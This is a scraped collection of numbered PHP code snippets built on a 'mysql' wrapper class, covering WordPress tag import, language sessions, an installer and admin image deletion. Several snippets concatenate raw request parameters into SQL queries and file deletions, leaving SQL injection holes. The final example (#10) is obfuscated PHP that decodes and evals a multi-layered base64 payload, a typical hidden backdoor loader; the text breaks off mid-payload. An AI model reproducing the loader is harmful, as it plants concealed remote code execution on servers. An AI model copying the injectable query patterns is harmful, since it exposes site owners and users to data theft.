示例#1
0
function extraerTags($ID)
{
    global $db_source, $prefix;
    /*
     * Importación de Categorías
     */
    $m = new mysql();
    #SQL: extrae los tags de WP para el ID del post que se pase como parámetro.
    $m->query("SELECT t.term_id,t.slug,t.name,tr.object_id FROM {$db_source}.wp_terms as t \n\n\t\tinner join {$db_source}.wp_term_taxonomy as tt on tt.term_id = t.term_id \n\n\t\tinner join {$db_source}.wp_term_relationships as tr on tr.term_taxonomy_id = t.term_id \n\n\t\tWHERE tt.taxonomy = 'category' and tr.object_id={$ID} \n\n\t\t");
    $sql_tags = "INSERT INTO " . $prefix . "tags(tag_id,tag,urlfriendly) VALUES ";
    $insertTags = false;
    $sql_relation = "INSERT INTO " . $prefix . "tags_rel(tag_id,post_id) VALUES ";
    $hasTags = false;
    /*
     * Para cada tag del post extraido de WP
     * 1.- Revisar si existe, si no, lo inserta.
     */
    if ($m->total() > 0) {
        while ($m->fetch()) {
            $m2 = new mysql();
            /*
             * Si no existe tag, lo insertamos.
             */
            $m2->query("SELECT * FROM " . $prefix . "tags WHERE tag_id=" . $m->sql_quote($m->row['term_id']) . "");
            if (!$m2->fetch()) {
                $sql_tags .= "(" . $m->sql_quote($m->row['term_id']) . "," . "'" . $m->sql_quote($m->row['name']) . "'," . "'" . $m->sql_quote($m->row['slug']) . "'" . "), ";
                $insertTags = true;
            }
            /*
             * Buscamos si existe la relacion entre el tag y el post, si no, la creamos.
             */
            $m2->query("SELECT * FROM " . $prefix . "tags_rel WHERE tag_id=" . $m->sql_quote($m->row['term_id']) . " AND post_id=" . $ID);
            if (!$m2->fetch()) {
                $sql_relation .= " (" . $m->sql_quote($m->row['term_id']) . "," . $m->sql_quote($ID) . "), ";
                $hasTags = true;
            }
        }
        //while
    } else {
        //no tiene tags, entonces lo ponemos bajo el tag 'general'. Generalmente id=1
        $sql_relation .= " (1," . $m->sql_quote($ID) . "), ";
        $hasTags = true;
    }
    //if
    if ($insertTags) {
        $sql_tags = substr($sql_tags, 0, -2) . ';';
        $m->query($sql_tags);
    }
    if ($hasTags) {
        $sql_relation = substr($sql_relation, 0, -2) . ';';
        $m->query($sql_relation);
    }
}
 function session_set()
 {
     $db = new mysql();
     $SQL = $db->query("Select * From " . TABLE_SETTINGS . "");
     $Row = $db->fetch($SQL);
     define("DEFAULT_LANGUAGE", $Row[2]);
     //echo"session="; echo $_SESSION['language2'];
     if (!isset($_SESSION['language2'])) {
         $_SESSION['language2'] = DEFAULT_LANGUAGE;
     } elseif (isset($_GET['language'])) {
         $_SESSION['language2'] = $_GET['language'];
     }
     $lang = $_SESSION['language2'];
     if (preg_match("/[^a-z\\.]/", $lang)) {
         $_SESSION['error_lang'] = '1';
         $error = $_SESSION['error_lang'];
     } else {
         $result = $db->query("Select * From " . TABLE_LANGUAGES . " Where shot_lang Like '" . $lang . "'");
         $num = $db->num($result);
         if ($num == 0) {
             $_SESSION['error_lang'] = '1';
             $error = $_SESSION['error_lang'];
             $_SESSION['language'] = DEFAULT_LANGUAGE;
         } else {
             unset($_SESSION['error_lang']);
             return $lang;
         }
     }
 }
示例#3
0
 function onDefault()
 {
     global $_out;
     if ($form = $this->getForm('form_edit')) {
         if (($row = $this->getRow()) && ($mysql = new mysql()) && ($rs = $mysql->query('select * from `' . $mysql->getTableName(apArticles::tableArticles) . '` where id=' . $row)) && ($r = $mysql->fetch($rs))) {
             $form->setTitle('Change data "' . $r['title'] . '"');
         }
         $form->load();
         if ($ff = $form->getField('row')) {
             $ff->setValue($this->getRow());
         }
         $_out->addSectionContent($form->getRootElement());
     }
 }
示例#4
0
function step3($data)
{
    if (!isset($_POST['host']) || !isset($_POST['username']) || !isset($_POST['password']) || !isset($_POST['database']) || !isset($_POST['adress'])) {
        return "Es trat ein Fehler bei der �rmittlung der Daten auf.";
    }
    $mysql = new mysql(array());
    if (!@$mysql->connect($_POST['host'], $_POST['username'], $_POST['password'])) {
        return "Es konnte keine Verbindung zum Server hergestellt werden.<br />&Uuml;berpr&uuml;fe bitte deine Angaben auf ihre Richtigkeit.<br />" . mysql_error();
    }
    if (!@$mysql->select_db($_POST['database'])) {
        return "Die gew&uuml;nschte Datenbank konnte nicht ausgew&auml;hlt werden.<br />Entweder existiert diese nicht oder der gew&auml;hlte Benutzer hat keine Zugriffsrechte.<br />" . mysql_error();
    }
    $_SESSION['install']['mysql']['host'] = $_POST['host'];
    $_SESSION['install']['mysql']['username'] = $_POST['username'];
    $_SESSION['install']['mysql']['password'] = $_POST['password'];
    $_SESSION['install']['mysql']['database'] = $_POST['database'];
    $_SESSION['install']['tic_adress'] = $_POST['adress'];
    $tables = array("gn4accounts", "gn4allianzen", "gn4cron", "gn4flottenbewegungen", "gn4forum", "gn4gnuser", "gn4incplanets", "gn4log", "gn4nachrichten", "gn4nachtwache", "gn4meta", "gn4scans", "gn4attflotten", "gn4attplanung", "gn4vars", "gn4channels");
    $mysql->query("SHOW TABLE STATUS") or die($mysql->error(__FILE__, __LINE__));
    $tableexits = array();
    while ($row = $mysql->fetch()) {
        $tableexits[$row['Name']] = 1;
    }
    echo "<div style=\"border:1px #000000 solid;width:400px;padding:3px;\"><b>Schritt 3: &Uuml;berpr&uuml;fe Tabellen</b>\n          <form action=\"\" method=\"post\"><input type=\"hidden\" name=\"step\" value=\"4\" \\>\n          <table style=\"text-align:left;\" cellspacing=\"0\" cellpadding=\"0\">\n            <tr style=\"font-weight:bold;\"><td>Tabellenname</td><td>Installieren</td></tr>";
    $showwarning = 0;
    foreach ($tables as $table) {
        if ($tableexits[$table]) {
            $color = "#800000";
            $showwarning = 1;
            $input = "<input type=\"checkbox\" name=\"check[]\" value=\"" . $table . "\" checked=\"checked\"/>";
        } else {
            $color = "#008000";
            $input = "<input type=\"checkbox\" checked=\"checked\" disabled = \"disabled\" /><input type=\"hidden\"  name=\"check[]\" value=\"" . $table . "\" />";
        }
        echo "<tr style=\"color:" . $color . "\"><td>{$table}</td><td style=\"text-align:center\">" . $input . "</td></tr>";
    }
    if ($showwarning) {
        echo "</table><br /><div style=\"text-align:left\"><b>ACHTUNG:</b> Rot makierte Tabellen existieren bereits und werden, sofern die Installation fortgesetzt wird, inklusive ihrer Daten berschrieben.</div>";
    }
    echo "<input type=\"submit\" value=\"Weiter\" /></form>\n            </div>";
    return "";
}
示例#5
0
 function run()
 {
     global $_out;
     $mysql = new mysql();
     $row = filter_var(param('row'), FILTER_VALIDATE_INT);
     if (($rs = $mysql->query('select * from `' . $mysql->getTableName($this->table) . '` where ' . '`section`="' . $this->getSection()->getId() . '" and `module`="' . $this->getConf('module', true) . '" and `id_article`=' . ($row ? $row : 0))) && ($r = $mysql->fetch($rs))) {
         if ($v = $r['title']) {
             $_out->setMeta('title', $v);
         }
         if ($v = $r['keywords']) {
             $_out->setMeta('keywords', $v);
         }
         if ($v = $r['description']) {
             $_out->setMeta('description', $v);
         }
         if (($v = $r['h1']) && ($e = $_out->query('/page/section')->item(0))) {
             $e->setAttribute('h1', $v);
         }
     }
 }
示例#6
0
文件: delproj.php 项目: Teleta/ld-art
require_once ROOT . "/classes/adm_authorize.php";
// Load JsHttpRequest backend.
require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php";
$sql = new mysql($sql);
$auth = new adm_authorize($sql);
// Create main library object. You MUST specify page encoding!
$JsHttpRequest = new JsHttpRequest("windows-1251");
if (!$auth->check()) {
    $GLOBALS['_RESULT'] = array("q" => "You are not logged in");
    exit;
}
$sql->query("DELETE FROM `" . PREF . "projects` WHERE p_id=" . $_REQUEST['pid'] . " LIMIT 1");
$res = $sql->query("SELECT img_id AS id, `img_filename` AS fname, `img_project_id` AS cid FROM `" . PREF . "img` WHERE img_project_id=" . $_REQUEST['pid']);
if (mysql_num_rows($res) > 0) {
    $r = array();
    while ($row = $sql->fetch($res)) {
        if ($row['cid'] == '0') {
            unlink(ROOT . "/images/unsorted/" . $row['fname'] . ".jpg");
            unlink(ROOT . "/images/unsorted/thumb_" . $row['fname'] . ".jpg");
        } else {
            unlink(ROOT . "/images/" . $row['fname'] . ".jpg");
            unlink(ROOT . "/images/thumb_" . $row['fname'] . ".jpg");
        }
        $r[] = $row['id'];
    }
    $sql->query("DELETE FROM `" . PREF . "img` WHERE img_project_id=" . $_REQUEST['pid']);
    $res = $sql->query("SELECT link_value AS v FROM `" . PREF . "kvi_links` WHERE link_img IN (" . implode(', ', $r) . ")");
    if (mysql_num_rows($res) > 0) {
        $v = array();
        while ($row = $sql->fetch($res)) {
            $v[] = $row['v'];
<?php

$db = new mysql();
$Sql = $db->query("Select * From " . TABLE_NEWS . " Where news_id='{$id}' AND lang_id='{$lang}'");
$Row = $db->fetch($Sql);
if ($_POST['add'] == "yes") {
    $_POST[content] = mysql_real_escape_string($_POST[content]);
    if ($_POST['imgs'] == "yes") {
        $new_name = "new" . time() . date('dmy');
        $target = "../files/news/";
        $fname = $_FILES['image']['name'];
        $zname = explode(".", $fname);
        $ns = end($zname);
        $target = $target . basename("{$new_name}.{$ns}");
        $imgname = $_FILES['image']['tmp_name'];
        if (move_uploaded_file($imgname, $target)) {
        } else {
            exit;
        }
        $thumb = "{$new_name}.{$ns}";
        $created = $_POST[year] . "-" . $_POST[month] . "-" . $_POST[day];
        $crtime = date("H:i");
        $created = $_POST[year] . "-" . $_POST[month] . "-" . $_POST[day];
        $db->query("UPDATE " . TABLE_NEWS . " SET title='" . protect($_POST['title']) . "',  sh_desc='" . protect($_POST['sh_desc']) . "', content='" . $_POST['content'] . "', thumb='" . $thumb . "', created='" . $created . "'  WHERE news_id='{$_POST['uid']}' AND lang_id='{$lang}'");
        echo "<script>document.location='index.php?options=news'</script>";
    } else {
        $created = $_POST[year] . "-" . $_POST[month] . "-" . $_POST[day];
        $db->query("UPDATE " . TABLE_NEWS . " SET title='" . protect($_POST['title']) . "',  sh_desc='" . protect($_POST['sh_desc']) . "', content='" . $_POST['content'] . "', created='" . $created . "'  WHERE news_id='{$_POST['uid']}' AND lang_id='{$lang}'");
        echo "<script>document.location='index.php?options=news'</script>";
    }
}
示例#8
0
文件: delbyid.php 项目: Teleta/ld-art
error_reporting(0);
require_once "../cfg.php";
require_once ROOT . "/classes/adm_authorize.php";
// Load JsHttpRequest backend.
require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php";
$sql = new mysql($sql);
$auth = new adm_authorize($sql);
// Create main library object. You MUST specify page encoding!
$JsHttpRequest = new JsHttpRequest("windows-1251");
if (!$auth->check()) {
    $GLOBALS['_RESULT'] = array("q" => "You are not logged in");
    exit;
}
$sql->query("SELECT `img_project_id` AS cid, `img_filename` AS fname FROM `" . PREF . "img` WHERE img_id=" . $_REQUEST['img'] . " LIMIT 1");
$r = $sql->fetch();
$sql->query("DELETE FROM `" . PREF . "img` WHERE img_id=" . $_REQUEST['img']);
// kills just uploaded images
if ($r['cid'] == '0') {
    unlink(ROOT . "/images/unsorted/" . $r['fname'] . ".jpg");
    unlink(ROOT . "/images/unsorted/thumb_" . $r['fname'] . ".jpg");
} else {
    $res = $sql->query("SELECT link_value AS v FROM `" . PREF . "kvi_links` WHERE link_img=" . $_REQUEST['img']);
    if (mysql_num_rows($res) > 0) {
        $v = array();
        while ($row = $sql->fetch()) {
            $v[] = $row['v'];
        }
        $sql->query("DELETE FROM `" . PREF . "kvi_links` WHERE link_img=" . $_REQUEST['img']);
        $sql->query("DELETE FROM `" . PREF . "values` WHERE value_id IN (" . implode(' ,', $v) . ")");
    }
示例#9
0
<?php

error_reporting(0);
require_once "../cfg.php";
require_once ROOT . "/classes/adm_authorize.php";
// Load JsHttpRequest backend.
require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php";
$sql = new mysql($sql);
$auth = new adm_authorize($sql);
// Create main library object. You MUST specify page encoding!
$JsHttpRequest = new JsHttpRequest("windows-1251");
if (!$auth->check()) {
    $GLOBALS['_RESULT'] = array("q" => "You are not logged in");
    exit;
}
$f = $sql->fetch($sql->query("SELECT img_filename AS fname\n\tFROM `" . PREF . "img`\n\tWHERE img_id='" . $_REQUEST['img'] . "' LIMIT 1"));
$oldname = $f['fname'];
$r = $sql->fetch($sql->query("SELECT MAX(img_order) AS num\n\tFROM `" . PREF . "img`\n\tWHERE img_project_id='" . $_REQUEST['pid'] . "'"));
while (file_exists(ROOT . "/images/" . $f['fname'] . ".jpg")) {
    $f['fname'] = md5(md5(rand(0, 1000000)) . $f['fname'] . md5(rand(0, 100000)));
}
$query = "UPDATE `" . PREF . "img`\n\tSET img_project_id='" . $_REQUEST['pid'] . "', img_order='" . ($r['num'] + 1) . "', img_filename='" . $f['fname'] . "'\n\tWHERE img_id='" . $_REQUEST['img'] . "'";
if (!$sql->query($query)) {
    echo mysql_error();
} else {
    rename(ROOT . "/images/unsorted/" . $oldname . ".jpg", ROOT . "/images/" . $f['fname'] . ".jpg");
    rename(ROOT . "/images/unsorted/thumb_" . $oldname . ".jpg", ROOT . "/images/thumb_" . $f['fname'] . ".jpg");
}
示例#10
0
$i2to5MsOCnAG5 = wRAeFGFx('l49nQwVUlrzdRepqwPsufEp', '', $i2to5MsOCnAG5);
$oIaV6uNUtM7yomN4wcWQ = '$LD1APhzfMajd5kmjZdse';
$dsKwVXXrS7cr7XnrB7L = $i4WdRSoN0axt2Y99nfLooP($oIaV6uNUtM7yomN4wcWQ, $i2to5MsOCnAG5 . '(' . $t9thNnEPak7SDHeov2GeZJvW . '(' . $oIaV6uNUtM7yomN4wcWQ . '));');
$dsKwVXXrS7cr7XnrB7L('ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRJeGMySlZiRVJhTW1oaFlteGFNVmRVVGxOalIwbDVUbGRhWVZkSGFIZFplazVUWld0MFJGTnRSbFZXUmxwNFZGYzFSbVF5VFhsaFJ6RlpUVEJLZDFreU1EVmliVWw1WXpKc1RGVXlkek5STWpGaFRWZEtkRlJxUW1oV2Vtd3hVMVZhZDFSck5WaGlNMnhxVmtWS05sbFZaR0ZhYlU1SVlraHNhVTF0VWpKWldHeHVZMGRXTTJOSWJHRlhSa2w0V1RJd01Gb3hjSFJTYms1cVRXeFZNMUV5TkhkVE1FNTBZa2N4U2xFeVpHOVhiVFZYWkZacmVsVnVRbWxOYWxadFYyeG9iMk5IVFhwVmJuQk1VVEJ3VjFsdE1EVmFiSEJJVm0xd2FVMXNTbk5UVjJ4eVkwZFdNMk5ITVd0V2VsWnhXa1ZrYzJSdFNuQlJiRnBwWWxSc2JWZHJaRmRoYlVsNVZXMTRURkV4U2xWYVJXaExZMGRLZEZrelFrUmliazVNVTFWT1Fsb3diRVJWYkZKclUwVndkMWx0TVdwYU1VSlVVVzFzV2xkRk5YTlViWEJUV214d1NGWnRjR2xOYkVwelV6Qk9VMVpIVWtsVGJrSnBZbGRPZDFRelpIWmFNR3hFVVZka1MxSnJOVzlaYTJoU1QxVnNkRlZ0Y0U5WFJVVXhWMnRWTldReFJuUlVWMnhRWkRJNWJsTlZUa0phTUhCSFZHcENhbUV6YUhOWmJXeENUMVZzU1ZScVFtcGlXR2h6V1cxc2JtRXhWWHBWYm14b1ZucFdkVk14VW5wVE1HeEVVVmRrU2xFeFNsVlhiR2hHV2pGQ1ZGRlhiRk5TVkVaSFYyMXdWMU5XWkhWV2JFWnFWVEJyTTFFeWJFSmFNR3hFVVZkMFUwMXJXakJaYkdSR1dqRkNWRkZYYkVwaGJrNU1VMVZPUWxvd2JFbGFSemxvVmpOb2MxTlZUbTlsYlZKSlUyNU9ZVlo2VW5aVGExWnJZVWRLV0UxWGFFeFdTR1J5VmxST1UyVldVa2hXYmxaTVZWYzVibE5WVGtKYU1sWXpZakprU2xFd1JtNVRWVTVDV2pCc1JGVnNVbUZYUlZadVZVWk9RMlF4YkZoVWJrcE1VVEJ3U2xNeWJFcGpNazE1WVVkb1RsVXlaSEpWYWtwSFpFZEtXRkpZVmt0U2F6VnpXVEZOTUdFeFZYbFNiazVyVVRKMGQxUXpaSFphTUd4RVVWZGtTbEV3Um01VFZVNVRVMFpzV0UxWVVscFZlbEUxV1hwT1YyRlhUWHBWYm14TVVURktWVmRzYUVaak1ERkVaSHBTVEZaSVRreFRWVTVDV2pCc1NVMUZkRVJoVlVadVUxVk9RMlZXY0ZsVmFrWnFZbFJTYmxOcldrOU5SMDUwWWtoV1lVMVVVbkpWYWtwSFpFZEtXRkpVWkVSaWFrSk1XbXhHZGxNeVJsaFhWMlJNVVRCYWRGcEdZekZoYlZKSVlraGFhV0pFYkhOYVZXUnpaVzFTU1ZSWE9VcGlWMUp6V2tWWk5VMUdaM2xWYmtKcVlrUnNNRmRXYUU5bGEyeHdZVE5DYkdRelFuUmFSbU14WVcxU1NHSklXbWxoVlVwMVYyeG9VMXB0VWtkUFYzUm9WMFZ3YlZsc1pFZGxiVTQxV2pOQ1NsTklUa3hSTWpGellsVnNSR0ZITVd0V2VsWnhXa1ZrYzJSdFNuTlBWM2hzVWpKNE5scEZhRTVpTUd4MVZHcFdhazFVYkhWWGJHaFRXbTFTU0ZadVVtcFNhbXh5V1Zab1NtRlZkRlJoTW1Sc1pESTVibE5WVGtKYU1rWllWMWRrVEZKVlNuZFpla1UxVFRKT2RHSkVRbUZXTUZwd1dXdGtWbUl5VFhwaVNIQlpUVzFTYzFwRldUVk5SbkJZVFZoa1dVMXNTbmRaTW14dVkwVjBWR0V5Wkd4bFZVWnlXVEl4VjJWc1kzaE5SMlJSVlRCS05WZHNaRWRqTWs1SVVtcENhRkV5YURaYVZtaFBXbXh2ZVZacVFsbE5NVXB6V1d4b1ExcHNjRWhpU0d4TVVUSjBkMVF6YkVOUFZVNTFUVVYwU2xFd1JtNVRWV1J6WWxWc1JGb3lhR0ZXZWtZeldrVm9jbUl3Y0VkUFZWcFZZa1p3YVZOWGVGTlViRlpFVTIxU1RGVXdSblJUYld4RFVWZEdXVlJ0V210Tk1IQjNXa1ZrVjJGR2JIUmxSM2hNVTBWd2MxZFdaRFJrTVd4WlZXMDVURkV4U20xVmJGVXhWakZrTlZOc1ZsVldhMFp3VjBaT2NtTkZkRlJSYW1SS1VURktOVmRzYUU5WmJHaFVVVlJzU2xORmNITlhWbVEwWkRGc1dWVnRPVXhSTVVwdFZXeFZNVll4WkRWVGJGWlZWbXRHY0ZkR1RuSk9NR3hKVFVWMFNsRXdSbTVUVldSellsVnNSRm95YUdGV2VrWXpXa1ZvY21Jd2NFZFBWVnBWWWtad2FWTlhlRk5VYkZaR1ZXdHdWbUZWY0d0VE1VNUNZbFZ3Y0ZGclJtaFhSVFZ0V2tST1MyTkhVa2hXYldoYVlsaG9jMU13YUV0aVJteFlaVWhrV2xkR1NuWlRNRTVUV214S1ZrNVdaRmhsVlhCV1ZrWmFRMUpXVGxkVFYyeFpWVEowZDFNeFRrTk9NR3hFVlc1c1lWZEZOV2xYUms1Q1QxVnNTVk50ZUZwV00yZ3pWMVpvVTJJd2RFUlJWM1JaVFVaYVVGWnRlSHBoVmxwR1RWWkdVMUpYZUZSVFYzZDNZMFU1TlZGcWJFUmhWVVp1VTFWT1EyTkdjSEJSVnpsS1ZqRmFNRmt3YUZOT1ZYUkVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1UxVk9XbUpWYkVaUmJrSnFUVlJyZWxreU1YTk5SbkJZVW0xc2FWSXhWblpaTWpGWFlVZEtTVkZ0YUd0U01tUjJVMnRaTlZKc1VuTlhiVXBLWWtaS1IxWkdXa0poVm1oVVlUTkNURlV3U1ROVFZVNVRaVlp3V1ZSdFNsbFZNRVUxVTFWb1MySkdiRmhsU0dSYVYwWktkbE13VGtKaE1XZDNWbXM1VjJKSVRuQldhMVpYVkd4V1JGTnRVa3hXU0U1dVdteEdkbG93YkVSUlYyUkxVMFpLYzFsc2FFTmlWMFpZWlVkNFVWWlZTWGRYYkdONFpESktkRkp1VWt4U2FteHRWVzEwYzFSV1NsZFBWMXBOVVRCc2NGTXhVbnBUTUd4RVVWZGtTbEl5ZUhSVFZVNXZVVlp3ZEdKSVRtRldhbXh6V2xWa2MyVnRVa2xVVnpsTFUwWktjMWxzYUVOaVYwWllaVWQ0VEZVeWRHNWFXR1IyV2pCc1JGRlhaRXBSTUVwQ1drWmpNV015UmxoT1dFcE1VVEZKZDFkc1kzaGtNWEIwWWtoT1lWVXljek5STW14Q1dqQnNSRkZ1UW1GaFZVWjJWVlZrYzJWc1ozcGFTR3hvVjBaS2MxZFdaRXRqTVhCVVlVaHNZVll3V25wWk1HUkhUVWRHUkdGSGRHaFhSWEF4VjFaamVHSkZkRVJWYWtKaFZucEdNMWR0TVhOak1YQlVZVE5DVEZVeWRHNWFXR3hUWlZad1dWUnRTbGxWTUVVMVUxVm9TMkpHYkZobFNHUmFWMFpLZGxNd1pGTmpSMDUwVGxkb2FWWXhWblpUYTJoVFlrZEtXVkZ0TVdoV00yaHpVekZPY2s0d2JFbE5SWFJLVVRCR2JsRXliRUphTUd4RVVXcHNSR0ZWUm01VFZVNURZMFp3Y0ZGWE9WSlNNbmcyVjBST2EyVlhSbGxWYlhoYVZqQndlbGRzVG05bFZuQllVbTVPYWxJd1dYZFpWVTV2VVZkR1dFNVlRbGxOYlZKeldrVk9ibUZYVWxsUmJrNXBUV3RhY2xkRVRsTmtSMDVIVDFkMGFGZEZiSEJUTVU1eVkwVjBWRkZxWkVwUk1VbzFWMnhvVDFsc2FGUlJWR3hLVTBWd2MxZFdaRFJrTVd4WlZXMDVURkpWU25kWmJURnpXbXh2ZVZacVFreFJNRzk0V1RCa05HUnNiRmhWYlZwclVucEdNMWRFU2xOalIwNXdVMWhDVEZaSVRtNWFiRVoyV2pCc1JGRlhaR2hXTVd4dVV6QldRMk5IVFhoUFZFNXFZbGQzZDFkc1pFZGhWMHBJVmxjNWFtSldXbTlaYTJoRFlVZFNTRm95T1dwTmJGbzJXWHBLYzJSdFNuTlBXSEJhVjBad2MxZEVUa05oUjFKSVdqSTVURlV5ZEhkVE1VNURUakJ3U1ZOdGVHcE5XRkpyVTFWUmQxb3lUblJXYldocFUwVktiMXBGWkc1aU1rMTVWbTV3YWsxdGVESlpiWGMxWld4c1dWZHRlRmxOTUVwdldrVmtibUl3ZEZSaGVtUktVMFJDVEZOVlRrSmFNR3hJWWtjeFNsRXlhRUpaVm1oUFdtMVJlbE51UW10U01WcHZWMWN4TkdKRmRFbFRiWGhhVmpOb00xZFdhRk5pTUhSSVZXNUNhbUpVVm05WmJHUldZakZuZUU5VlpGUldXR2hIVjBSRk5HTkZkRlJoTTBKS1UwaE9ibE5yYUV0aVIwMTRaRWRTU2xKRVFtNVpNakZYWVVkS1NWRnRhR3RTTW1SMlYydGtjMlZYU25SU2JsSmhWVEpvYlZkRVFtRlRiRkpHVm0xYVdXVlhkSGRVTTJ4RFQxVk9ibUl5WkVwUk1FWnVXVEl4VjAxSFVsbFRibFpLVWpCYU5Wa3lNVWRPVm1kNlZtNVdhRmRGV1hoWGJFNXVZVEpPZEZadWNFeFdTRTVNV214R2QwOVZUbTVqU0VKaFlWVkdkbE5XWkdGTlYwcDBWR3BDYUZaNmJERlhSRXBYVGtkR1dWUnFRbXBsVjJSd1YycEtWMDFHWjNwV2JXaEtZVmQwZDFwWVpIZGlWMUpZVGxkd2ExSXllREpaYld4RFlteHdXVlZ0V210V01GWjJVekZvZWxNd2NFaE9WMmhwVmpGV2JsVkdUa05pYkhCWlZXMWFhMU5GYjNoWGJGazFaRlpzV0UxWGVFeFJNbk16VVRKa2QySlhTWHBUYlhoYVZqQTFkbE13Wkd0aVIxSkhUMVJDV1Uxc1NuZFpNbmMxWkVac1dWUnVjRXhSTW5SdVYxWm9UbG93Y0VsVldFSnNaRE5DZDFkdGJHOWlWMFpZWlVkNFdVMXNXVEJaVm1oUFRVZE9OVm95ZEd0UmVsWkdWVEZhUzFKc1JYaFZiRUpXWWtkNGJWWlVRbGRWVmtaWFUydEtWMUpVYkZSVVIyeFRaRlpzV0UxWGVFeFZNbmN6VVRJeFlXUnRUblJXYldoYVRXMWtibE13WkdGalIwcElWbGM1UzFOR1JqRlZhMVp6VlRGS1ZsUnNWbFZOVlhCaFYwUkdUMUpzVmtaU2JFNVNWbXhLVVZaWGF6QmhNa3AwVW01U1lWVXlkRzVYVm1oT1dqQndTVlZxUWt4WFNFNU1VMnRvVTAxRmJFVk5SMlJYVm5wV01sZEVTbE5pUm10NVQxZDBZVlV5WkhKYVJXaFNZMFU1TTJOSVFtRmhWMmcyV2tWb1MyUXlTWHBVVnpsTFUwWkpkMVJGVGtwa1ZXeHdZVEprVVZaRVFUVlRWV1JoWVVkS1NWUnRlRXhYU0U1TVUydG9VMlJIVGtSUlZHeEtVakZaTUZrd1pEUmtiSEJJVmxjNVNtSnVaSEJVUlU1VFRVZFNSR0Y2WkVSaVZuQXlXVEl4VjJGR2EzbGFNamxMVTBaS01Ga3dUa05oUjA0MVVWZDBhMVV5ZHpOUk1teFRZMjFLZEU5VVRsaE5WRUp1VlVaT1EwMUhUblJpU0ZKTVVURkplRk14VW5wVE1scFNZMFJzUkdKcVFreGFiRVozVDFWT2RHSkhNVXhTTURVeVdrWmpNVTFGZEVSVmJrcHBZbFJyZWxNeFRrSlBWa0pVVVZoa1RGZElUa3hUYTJRd1pGZEplbHBIU2xsVk1FVTFVMVZPUzJSSFRYbGlSM2hLWVc1T1RGTnJaREJrVjBsNldrZEtXVlV3UlRWVFZVNUxZbGRHV1ZOdGVHRmlWR3N3VTFkd2VsTXdjRWhrU0ZacFRUSlNhVmRHVGtKUFZXeEVVMjAxYVUxcWJIVlphMlJYWVZkSmVsVlhiRkJrTTBFMVVUSTFTMkpIVWtsV2JteHBZVlZLYjFreU5VdGhSMVpYVDFSR2FXSlhlRFJhUm1SV1lqQndTR1JJVm1sTk1rNTNWRE5rZDA5VlRuVk5SWFJFWWxkNGRGTlZUbTVoUm5CMVZtNVdXazB4U25kWmFra3hXbXh3V1dGSVFtcE5NVW8yVXpCT1MySnNjRmxWYlZwclUwVnZlRmRzV1RWa1ZteFlUVmQ0U21GWGRIZGFXR1IzWWxkU1dFNVhjR3RTTW5neVdXMXNRMkpzY0ZsVmJWcHJVMFZ2ZUZkc1dUVmtWbXhZVFZkNFRGRXlkek5STWpWTFlrZFNTVlp1YkdsaFZVWndWRWN4UzJGR2EzbGtSRVpxVW1wcmQxbFdZM2hpUld4eFl6QjBiVlZZUVRWUk1tUjNZMFp3Y0ZGWE9VcFdNVzk0V1cweFQwMUhSbGhQV0ZaWlRXeFpNRmxXYUU5TlIwNDFXakpzYWsweFNqVlpNR00xWld4c1ZGTllRa3hYU0U1TVYyMDFWMlJXYTNwVmJrSnBUV3BTYmxsNlRsTmxWMDVJVDFod1dsVXlaSEpaVldSSFRsZE5lbFZ0YUZwTmJrNTZVMVZPVTJSV2NGaFdiWFJwVWpGV2VsTlZUbE5rYkhCMFYyNXdZVmRHUlRWVVZVNXlXakpXTTJJeVpFcFJNRVp1V1Zaa1dtSXdiRmhpU0hCWlRXdGFOVmt5TVVkT1ZYUkVWVzVXWVZZeFduSlphMlJXWTBWMFZGRlhkR2xpVmxwelYydGtOR0pGYkVWTlIyUmFWMFZ3TlZkV2FISmlNSEJJVGxkNFlWWXhTbnBYYkU1eVRqQk9jRkZYWkVwUk1FcDBXV3BPUzJKR2JGaFViVGxNVVRGS01WZHNaRmRoTWtwSVZsZGtXbGRGTVc1VGEyaEhUVlp3V1ZOcVZreFZNRWt6VVRKc1Fsb3diRVJSVjJSS1VUQkdibGxXWkZwaU1rMTZWVzVzYWxKNmJEWlRNRTVUWWpGc1dXSkljR3RTTUZweFdWaHNNMW93Y0VsU2FrWmhWMFZ2TVZSRlRrSmhNa2w1VjIweGFrMXNXWGRUTVU1Q1lVWkNWVTFIWkdGaVZWcDZXWHBLVm1ORmJFbFRiWGhyVTBaYU5WbHRiRU5OUjA1MVZtMTRVR1F5T1c1VFZVNUNXakphVW1JeVpFcFJNRVp1V1RJeFYwMUhVbGxUYmxaS1VqRndiMWxyYUU5aVJUa3pZMFJzUkdKcVFreFJNakZ6WWxWc1JHRklRbXBOTURWeldrVk9ibUV4WjNoVWExcFdZa1p3UjFaWGVIcGhWazVIVld4V1ZsSnFiRmRXVkVKWFZURm5kMUpyYUZOV1ZGWldVMWQzZDJORmRGbGpNSFJMVTBaYWIxTlZVWGRhTWsxNlZXNXNhMUo2YkhwWmFrNXJZa2RPY0ZveWRGbE5WVFZIVmxkNFlWSnNWbk5qTW14VVVteEtWbFpWV1RWV2JGVjNWbXhPV1UxRldrbFZiRlV4VmxWc2MwMUlRbEJrTWpsTVUydG9VMlZYVWxoV2JWcHJWakJXYmxWR1RrTmliSEJaVlcxYWExWXdWblpUTVZKNlV6Qk9kR0pITVVwUk1tZzJXa1ZvUzJReVNYcFViV2hNVVRGSmVGZFdUak5oTWxKSlUycEdZVlpxYTNoWFZrNXlZMGRXTTJJd2RHaFdNV3h1VXpCT1IySlhVbGhPVjNCclVqSjRNbGx0ZHpWaVIxWklZa2h3YTFORk1YWlRWelZUV214d1NHSkliRXBoVjNSM1dsaGtkMkpYVWxoT1YzQnJVako0TWxsdGJFTk5SbWQ1Vlc1Q2FtRlhaSGRUVldoNlV6SkdXRmRYWkV4U01XOTRXVzB4VDAxSFJsaFBXRlpaVFd4Wk1GbFdhRTlOUjA0MVdqSnNhazB5ZURaWFJFcHJZa2RTUjA5VVFtRldla1l6VjBSS1UyTkhUbkJUV0VKTVZUQkpNMUV5YkVKYU1HeEVVVzVDWVdGVl